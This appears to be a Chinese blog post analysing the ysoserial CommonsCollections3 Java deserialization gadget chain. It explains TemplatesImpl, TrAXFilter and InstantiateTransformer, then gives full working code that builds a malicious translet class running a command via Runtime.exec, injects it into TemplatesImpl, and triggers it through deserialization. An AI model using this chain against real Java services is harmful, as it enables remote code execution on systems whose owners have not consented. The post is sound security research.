zoukankan      html  css  js  c++  java
  • YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1、3、5、6、7(common-collections 3.1),cc2、4(common-collections4)。

    打开YsoSerial payloads CommonsCollections3源码:

    public Object getObject(final String command) throws Exception {
    		Object templatesImpl = Gadgets.createTemplatesImpl(command);
    
    		// inert chain for setup
    		final Transformer transformerChain = new ChainedTransformer(
    			new Transformer[]{ new ConstantTransformer(1) });
    		// real chain for after setup
    		final Transformer[] transformers = new Transformer[] {
    				new ConstantTransformer(TrAXFilter.class),
    				new InstantiateTransformer(
    						new Class[] { Templates.class },
    						new Object[] { templatesImpl } )};
    
    		final Map innerMap = new HashMap();
    
    		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
    		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    
    		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    
    		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    
    		return handler;
    	}
    

    和CC1 代码对比:

    image-20210727102032876

    只有 transformer生成逻辑不一样, 使用到了三个新的关键类InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我们重点看下着三个新类是干嘛的。

    InstantiateTransformer

    查看源代码:

    image-20210727104945327

    从transfomer可知,先通过反射 getConstructor 获取传入对象的构造器,然后通过 newInstance 方法实例化对象,这么看InstantiateTransformer 近似与new。

    写个使用例子,存在一个PersonBean.java ,里面的构造函数会打印我被初始化了。

    public class PersonBean {
    
        public PersonBean(){
            System.out.println("我被初始化了");
        }
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    
        private String name;
        private int age;
    }
    

    用InstantiateTransformer 的方式生成instantiateTransformer 对象,写一个测试类方法

    import org.apache.commons.collections.functors.InstantiateTransformer;
    
    public class MainTrueTest {
    
        public static void main(String[] args) {
            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
            instantiateTransformer.transform(PersonBean.class);
        }
    }
    

    结果,构造方法被执行:

    image-20210727142301574

    TemplatesImpl

    这是一个JDK用于在处理xml文件用到的类,在Java 8u251后不能使用, 具体这个类的说明,以及高版本不能使用的原因可以看P神的这一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

    在之前用作命令执行的类是InvokerTransfomer,但在Common-collections爆出漏洞的时候很多黑名单都直接将InvokerTransfomer这个类拉黑了,所以需要寻找其他能够直接执行命令的类,于是安全人员就找到了这个类,TemplatesImpl的应用非常广泛,cc链2和3、fastjson不出网利用、jdk7u21等等,如果把Java反序列化漏洞比做一个考试的话,TemplatesImpl就肯定是个必考点。

    前置知识——ClassLoader

    先来了解一个前置知识,JVM在加载类的时候会用到ClassLoader,默认分为三种加载器:BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分别加载 Java 核心类库、扩展类库以及应用的类路径( CLASSPATH)下的类库,JVM通过双亲委派的机制进行类的加载,防止系统类被轻易篡改,我们也可以继承java.lang.classloader 实现自己的类加载器。

    其中ClassLoader提供了几个重要的方法:

    • loadClass(String classname) 委派调用父级loadClass,没找到就调用findClass()
    • findClass() ,搜索类的位置,根据名称加载class字节码文件,调用defineClass()
    • defineClass(), 将字节码转为class对象

    调用顺序 loadClass -> findClass() -> defineClass(),出了classLoader可以加载类外还可以用Class.forName,但存在区别,看代码:

    image-20210727155313405

    [[Ljava.util.ArrayList; 同样是一个类数组,Class.forName() 可以加载,loadClass不能,这也正是这两点区别之一,也正是这个区别决定了Shiro不能直接用CC链去打。

    TemplatesImpl利用

    前面介绍了ClassLoader的三种加载类的方法,在TemplatesImpl代码299行也存在一个defineClass(),这个不亚于php中的eval,

    image-20210727160432116

    line:299对一个私有变量_bytecodes进行了加载,其中loader为一个自定义的TransletClassLoader里面只重写了defineClass。

      static final class TransletClassLoader extends ClassLoader {
    	TransletClassLoader(ClassLoader parent) {
    	    super(parent);
    	}
    
            /**
             * Access to final protected superclass member from outer class.
             */
    	Class defineClass(final byte[] b) {
                return defineClass(null, b, 0, b.length);
    	}
        }
    

    _bytecodes 可以通过反射的方式进行赋值,看一下 299所在方法为defineTransletClasses(), 共有三个地方调用该方法:

    image-20210727161213497

    其中getTransletInstance() 在调用 后,还进行了.newInstance()实例化操作。

    image-20210727161404438

    这样类不但能被加载还能被实例化,满足_name

    不为null,但getTransletInstance() 是一个私有方法,继续追踪有谁在调用这个方法:

    image-20210727161830813

    public方法 newTransformer 有调用getTransletInstance(),那要把恶意类转化为byte数组赋值给_bytecodes 并调用newTransformer方法即可完成命令执行。

    整理下命令执行的条件:

    • 有地方调用newTransformer()
    • _name 不为null
    • 恶意类的父类为org.apache.xalan.xsltc.runtime.AbstractTranslet

    image-20210727162740189

    image-20210727162754324

    用自己的代码做下实验。

    1. 准备一个恶意类,继承AbstractTranslet
    package expUtils;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    /*
    * 供TemplatesImpl 使用的poc代码
    * */
    public class TemplatesEvilClass extends AbstractTranslet {
        private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        static {
    //        攻击代码
            System.out.println("static : pwn!");
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        public TemplatesEvilClass(){
    //        攻击代码
            System.out.println("constructor: pwn!");
        }
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
    }
    
    1. 基于恶意类生成恶意TemplatesImpl对象
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import expUtils.ReflectUtils;
    
    import javax.xml.transform.TransformerConfigurationException;
    import java.io.IOException;
    
    import static expUtils.ReflectUtils.getClassByte;
    
    public class Test3 {
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
            TemplatesImpl templates = new TemplatesImpl();
            ReflectUtils.setFields(templates,"_name","9eek");
            byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class");  // 将文件字节码转为byte[]
            byte[][] templatesEvilCode = new byte[][]{evilCode};
            ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
    
            templates.newTransformer();  // 验证代码执行
        }
    }
    
    

    恶意代码成功执行:

    image-20210727164953603

    这里其实有一个疑问,在cc3和其他使用TemplatesImpl利用的地方都会将_tfactory 赋值,目前我还不清楚为啥要这么做。

    TrAXFilter

    这个类是对XMLFilter的实现,而XMLFilter又是继承与XMLReader,那大概知道,可能是拿来做xml读取使用的,我们找到这个类的构造函数:

    image-20210727171557726

    在构造函数中需要传入一个TransformerImpl对象,然后在 在构造函数中会对TransformerImpl执行newTransformer()方法,这就和前面介绍的InstantiateTransformer和TemplatesImpl 结合了起来,我们只需要将CC1链中的InvokerTransformer换成InstantiateTransformer,将TrAXFilter赋给InstantiateTransformer.transformer的输入即可。

    实现

    我们自己实现一下:

    第一步,生成恶意TemplatesImpl对象:

    //        第一步 生成恶意TemplatesImpl 对象
            TemplatesImpl templates = new TemplatesImpl();
            ReflectUtils.setFields(templates,"_name","9eek");
            byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class");  // 将文件字节码转为byte[]
            byte[][] templatesEvilCode = new byte[][]{evilCode};
            ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
    

    第二步 生成恶意chainTransformer

    //        第二步 生成恶意chainTransformer
            Transformer[] transformers= new Transformer[]{
              new ConstantTransformer(TrAXFilter.class),
              new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            chainedTransformer.transform(null);
    

    第三步 绑定到动态代理增强到AnnotationInvocationHandler上

    		// 第三步
    		HashMap<string,string> hashMap = new HashMap<>();
            hashMap.put("testKey","testVal");
            Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
    
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor =  clazz.getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);  // 传入lazyMap
    
            Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
            InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap);  // 传入代理lazyMap
    

    第四步 反序列化触发

            String path = ExpUtils.serialize(finalEvilHandler);
            ExpUtils.unserialize(path);
    

    执行结果:

    image-20210727182549278

    成功触发。

    总结

    CC3其实和CC1触发过程的后半段基本一致,区别在于前面生产transfomer数组使用的是TrAXFilter和TelmplatesImpl,可以在InvokerTransformer被拉黑的情况下,使用CC3。

    公众号

    欢迎关注我的公众号!

  • 相关阅读:
    iOS开发 | 自定义不规则label
    监控redis的操作命令
    HTML常用标签
    前端学习【第一篇】: HTML内容
    MySQL数据库修改字段的长度
    python模块之:paramiko
    使用pymysql操作mysql数据库
    Python开发【第九篇】: 并发编程
    JNI调用实例
    JVM性能调优入门
  • 原文地址:https://www.cnblogs.com/9eek/p/15067432.html
Copyright © 2011-2022 走看看